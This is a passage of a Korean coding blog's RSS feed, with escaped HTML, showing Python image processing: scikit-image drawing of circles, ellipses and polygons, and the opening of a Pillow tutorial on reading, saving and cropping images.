&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;10.PNG&quot; data-origin-width=&quot;229&quot; data-origin-height=&quot;374&quot; width=&quot;303&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cAVYj3/btqIZmk4xM3/z07kFdS7Ji3uYye4sPI1P0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cAVYj3/btqIZmk4xM3/z07kFdS7Ji3uYye4sPI1P0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cAVYj3/btqIZmk4xM3/z07kFdS7Ji3uYye4sPI1P0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcAVYj3%2FbtqIZmk4xM3%2Fz07kFdS7Ji3uYye4sPI1P0%2Fimg.png&quot; data-filename=&quot;10.PNG&quot; data-origin-width=&quot;229&quot; data-origin-height=&quot;374&quot; width=&quot;303&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이미지를 그레이 이미지로 바꿔서 출력했다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;11.PNG&quot; data-origin-width=&quot;228&quot; data-origin-height=&quot;378&quot; width=&quot;280&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLXQfq/btqISvcyPXw/80yuVBhcLujnDf4zRMFUF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLXQfq/btqISvcyPXw/80yuVBhcLujnDf4zRMFUF0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLXQfq/btqISvcyPXw/80yuVBhcLujnDf4zRMFUF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLXQfq%2FbtqISvcyPXw%2F80yuVBhcLujnDf4zRMFUF0%2Fimg.png&quot; data-filename=&quot;11.PNG&quot; data-origin-width=&quot;228&quot; data-origin-height=&quot;378&quot; width=&quot;280&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그레이 이미지뿐만 아니라 hsv모델로도 변환 후 출력이 가능하다.&lt;/p&gt;
&lt;p&gt;(rgb2hsv() 함수는 RGB 이미지 배열을 HSV 이미지 배열로 변환한다.)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 그리기 모듈&lt;/h2&gt;
&lt;p&gt;그리기 모듈은 원형, 타원, 다각형 등 다양한 모양을 그리는 다양한 함수들이 들어있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1) 원 그리기&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;12.PNG&quot; data-origin-width=&quot;308&quot; data-origin-height=&quot;123&quot; width=&quot;438&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxVGyn/btqIZnRPduG/baHDWjvFcD7nSr53a5SsG1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxVGyn/btqIZnRPduG/baHDWjvFcD7nSr53a5SsG1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxVGyn/btqIZnRPduG/baHDWjvFcD7nSr53a5SsG1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbxVGyn%2FbtqIZnRPduG%2FbaHDWjvFcD7nSr53a5SsG1%2Fimg.png&quot; data-filename=&quot;12.PNG&quot; data-origin-width=&quot;308&quot; data-origin-height=&quot;123&quot; width=&quot;438&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위의 코드를 입력해서&lt;/p&gt;
&lt;p&gt;(circle() 함수 사용)&lt;/p&gt;
&lt;p&gt;(중심 좌표 (50, 50), 반지름 10)&lt;/p&gt;
&lt;p&gt;(원 안에 픽셀들을 가져온 후 2D 행렬에 있는 값에 1을 할당하고 다른 모든 점은 0으로 만듬)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;13.PNG&quot; data-origin-width=&quot;316&quot; data-origin-height=&quot;283&quot; width=&quot;391&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c0Rxik/btqIRMyQU6Z/6rencHLp6QsocRIKoT9m71/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c0Rxik/btqIRMyQU6Z/6rencHLp6QsocRIKoT9m71/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c0Rxik/btqIRMyQU6Z/6rencHLp6QsocRIKoT9m71/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc0Rxik%2FbtqIRMyQU6Z%2F6rencHLp6QsocRIKoT9m71%2Fimg.png&quot; data-filename=&quot;13.PNG&quot; data-origin-width=&quot;316&quot; data-origin-height=&quot;283&quot; width=&quot;391&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위의 사진과 같이 원을 그릴 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2) 타원 그리기&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;14.PNG&quot; data-origin-width=&quot;307&quot; data-origin-height=&quot;125&quot; width=&quot;408&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nWfJe/btqIX28du5I/bjpgwnk3nsivKVypOFYlyK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nWfJe/btqIX28du5I/bjpgwnk3nsivKVypOFYlyK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nWfJe/btqIX28du5I/bjpgwnk3nsivKVypOFYlyK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnWfJe%2FbtqIX28du5I%2Fbjpgwnk3nsivKVypOFYlyK%2Fimg.png&quot; data-filename=&quot;14.PNG&quot; data-origin-width=&quot;307&quot; data-origin-height=&quot;125&quot; width=&quot;408&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위의 코드를 입력해서&amp;nbsp;&lt;/p&gt;
&lt;p&gt;(ellipse() 함수 사용)&lt;/p&gt;
&lt;p&gt;(draw 모듈의 이 함수는 주어진 파라미터의 타원 내 픽셀 좌표를 가져오는 데 사용)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;15.PNG&quot; data-origin-width=&quot;310&quot; data-origin-height=&quot;284&quot; width=&quot;416&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNSsFJ/btqIPZyHCmh/CSicMr9UKBz4Yop9MEkbkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNSsFJ/btqIPZyHCmh/CSicMr9UKBz4Yop9MEkbkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNSsFJ/btqIPZyHCmh/CSicMr9UKBz4Yop9MEkbkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNSsFJ%2FbtqIPZyHCmh%2FCSicMr9UKBz4Yop9MEkbkk%2Fimg.png&quot; data-filename=&quot;15.PNG&quot; data-origin-width=&quot;310&quot; data-origin-height=&quot;284&quot; width=&quot;416&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위의 사진과 같은 타원형을 그릴 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3) 다각형 그리기&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;16.PNG&quot; data-origin-width=&quot;314&quot; data-origin-height=&quot;157&quot; width=&quot;382&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcwqmf/btqIM7X5oej/vyVHgSNfXyijn7VmjR40lK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcwqmf/btqIM7X5oej/vyVHgSNfXyijn7VmjR40lK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcwqmf/btqIM7X5oej/vyVHgSNfXyijn7VmjR40lK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbcwqmf%2FbtqIM7X5oej%2FvyVHgSNfXyijn7VmjR40lK%2Fimg.png&quot; data-filename=&quot;16.PNG&quot; data-origin-width=&quot;314&quot; data-origin-height=&quot;157&quot; width=&quot;382&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위의 코드를 입력해서&amp;nbsp;&lt;/p&gt;
&lt;p&gt;(polygon() 함수는 코너의 x와 y좌표 배열을 이용해서 다각형 내에 있는 픽셀 좌표들을 반환한다.)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;17.PNG&quot; data-origin-width=&quot;307&quot; data-origin-height=&quot;278&quot; width=&quot;396&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdCpUg/btqIVIoTyFu/eG6tMeM24owYCmSXyZ61hk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdCpUg/btqIVIoTyFu/eG6tMeM24owYCmSXyZ61hk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdCpUg/btqIVIoTyFu/eG6tMeM24owYCmSXyZ61hk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdCpUg%2FbtqIVIoTyFu%2FeG6tMeM24owYCmSXyZ61hk%2Fimg.png&quot; data-filename=&quot;17.PNG&quot; data-origin-width=&quot;307&quot; data-origin-height=&quot;278&quot; width=&quot;396&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위와 같이 다각형을 그릴 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;21.PNG&quot; data-origin-width=&quot;246&quot; data-origin-height=&quot;37&quot; width=&quot;332&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bx2QPa/btqIXlmE4BW/PKmIOKuEUKQC9Hua06q91K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bx2QPa/btqIXlmE4BW/PKmIOKuEUKQC9Hua06q91K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bx2QPa/btqIXlmE4BW/PKmIOKuEUKQC9Hua06q91K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbx2QPa%2FbtqIXlmE4BW%2FPKmIOKuEUKQC9Hua06q91K%2Fimg.png&quot; data-filename=&quot;21.PNG&quot; data-origin-width=&quot;246&quot; data-origin-height=&quot;37&quot; width=&quot;332&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;코드를 위의 사진처럼 변경해보면&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;22.PNG&quot; data-origin-width=&quot;310&quot; data-origin-height=&quot;280&quot; width=&quot;395&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lEkts/btqITuxGRfU/MpFujJNBvd0tg9HYWTfQOk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lEkts/btqITuxGRfU/MpFujJNBvd0tg9HYWTfQOk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lEkts/btqITuxGRfU/MpFujJNBvd0tg9HYWTfQOk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlEkts%2FbtqITuxGRfU%2FMpFujJNBvd0tg9HYWTfQOk%2Fimg.png&quot; data-filename=&quot;22.PNG&quot; data-origin-width=&quot;310&quot; data-origin-height=&quot;280&quot; width=&quot;395&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위의 사진과 같이 오각형으로 만들 수 있다.&lt;/p&gt;
&lt;p&gt;이런 방식으로 다양한 도형을 그릴 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>공부/코딩공부</category>
      <category>numpy</category>
      <category>scikit-image</category>
      <category>skimage</category>
      <category>파이썬 도형</category>
      <category>파이썬 이미지</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/75</guid>
      <comments>https://geru.tistory.com/75#entry75comment</comments>
      <pubDate>Sat, 19 Sep 2020 12:00:51 +0900</pubDate>
    </item>
    <item>
      <title>[파이썬]이미지 처리 pillow</title>
      <link>https://geru.tistory.com/74</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. Pillow란?&lt;/h2&gt;
&lt;p&gt;Pillow는 PIL에서 시작된 오픈소스 라이브러리이다.&lt;/p&gt;
&lt;p&gt;Pillow는 복잡한 알고리즘을 구현하기 전에 간단한 알고리즘을 구현해보고자 하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;초보자&lt;/b&gt;에게 적합한 라이브러리이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 이미지 읽기&lt;/h2&gt;
&lt;p&gt;pillow 이미지 모듈은 컴퓨터에 저장된 jpg 또는 png 파일 이미지를 읽기 위해 open() 함수를 제공한다.&lt;/p&gt;
&lt;p&gt;(Open() 함수 : 픽셀 유형, 이미지 크기, 이미지 형식과 같은 정보가 들어있는 이미지 객체를 반환한다.)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;220&quot; data-origin-height=&quot;69&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TfUkt/btqIM7cERRE/zEd2XEzHNAIrplqlsAnchk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TfUkt/btqIM7cERRE/zEd2XEzHNAIrplqlsAnchk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TfUkt/btqIM7cERRE/zEd2XEzHNAIrplqlsAnchk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTfUkt%2FbtqIM7cERRE%2FzEd2XEzHNAIrplqlsAnchk%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;220&quot; data-origin-height=&quot;69&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;주피터 노트북에 위의 코드를 입력하면&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;934&quot; width=&quot;592&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/upfcH/btqISvQ6opP/GjXCd9kX1NClenWeVYAqVk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/upfcH/btqISvQ6opP/GjXCd9kX1NClenWeVYAqVk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/upfcH/btqISvQ6opP/GjXCd9kX1NClenWeVYAqVk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FupfcH%2FbtqISvQ6opP%2FGjXCd9kX1NClenWeVYAqVk%2Fimg.png&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;934&quot; width=&quot;592&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;같은 디렉토리 안에 있는 buger이라는 이미지를 띄울 수 있다.&lt;/p&gt;
&lt;p&gt;이때 이것은 임시의 이미지 파일이므로 이미지 파일 이름이 바뀌어있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 이미지 쓰기/저장&lt;/h2&gt;
&lt;p&gt;이미지를 컴퓨터의 파일에 쓰거나 저장하려면 이미지 객체의 save() 함수를 사용한다.&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;save() 함수는 &lt;/span&gt;이미지 저장하고자 하는 절대 파일 경로 또는 상대 파일 경로를 입력으로 받는다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;186&quot; data-origin-height=&quot;30&quot; width=&quot;242&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxUVWw/btqIS6cLr14/LDf9YEysvSVvGHrC2D9yKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxUVWw/btqIS6cLr14/LDf9YEysvSVvGHrC2D9yKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxUVWw/btqIS6cLr14/LDf9YEysvSVvGHrC2D9yKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbxUVWw%2FbtqIS6cLr14%2FLDf9YEysvSVvGHrC2D9yKk%2Fimg.png&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;186&quot; data-origin-height=&quot;30&quot; width=&quot;242&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이번에는 buger이미지를 다른 이름으로 저장해보자.&lt;/p&gt;
&lt;p&gt;위의 코드를 입력하면&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;753&quot; data-origin-height=&quot;36&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4oUAl/btqIOa1ibRs/kRwfhjvwAUkyLYitkyZsIk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4oUAl/btqIOa1ibRs/kRwfhjvwAUkyLYitkyZsIk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4oUAl/btqIOa1ibRs/kRwfhjvwAUkyLYitkyZsIk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4oUAl%2FbtqIOa1ibRs%2FkRwfhjvwAUkyLYitkyZsIk%2Fimg.png&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;753&quot; data-origin-height=&quot;36&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;hamburger.png가 &lt;span style=&quot;color: #333333;&quot;&gt;다른 이름으로 저장된 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;3. 이미지 자르기&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;이미지 객체는 두 좌표계를 입력으로 받고, 잘라진 이미지를 반환하는 crop() 함수를 정의한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;241&quot; data-origin-height=&quot;102&quot; width=&quot;312&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cwFfFC/btqIM7qd3I6/GLgoCsvVHfAq1j74m2Clu0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cwFfFC/btqIM7qd3I6/GLgoCsvVHfAq1j74m2Clu0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cwFfFC/btqIM7qd3I6/GLgoCsvVHfAq1j74m2Clu0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcwFfFC%2FbtqIM7qd3I6%2FGLgoCsvVHfAq1j74m2Clu0%2Fimg.png&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;241&quot; data-origin-height=&quot;102&quot; width=&quot;312&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이번엔 이미지를 짤라보자.&lt;/p&gt;
&lt;p&gt;위의 코드를 입력하면&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;934&quot; width=&quot;484&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GaPxC/btqIM7wULB0/1aADwYAyllkdJpLUqH0L2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GaPxC/btqIM7wULB0/1aADwYAyllkdJpLUqH0L2K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GaPxC/btqIM7wULB0/1aADwYAyllkdJpLUqH0L2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGaPxC%2FbtqIM7wULB0%2F1aADwYAyllkdJpLUqH0L2K%2Fimg.png&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;934&quot; width=&quot;484&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그럼 위와 같이 사진이 출력이 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 이미지를 그레이 이미지로 변경&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
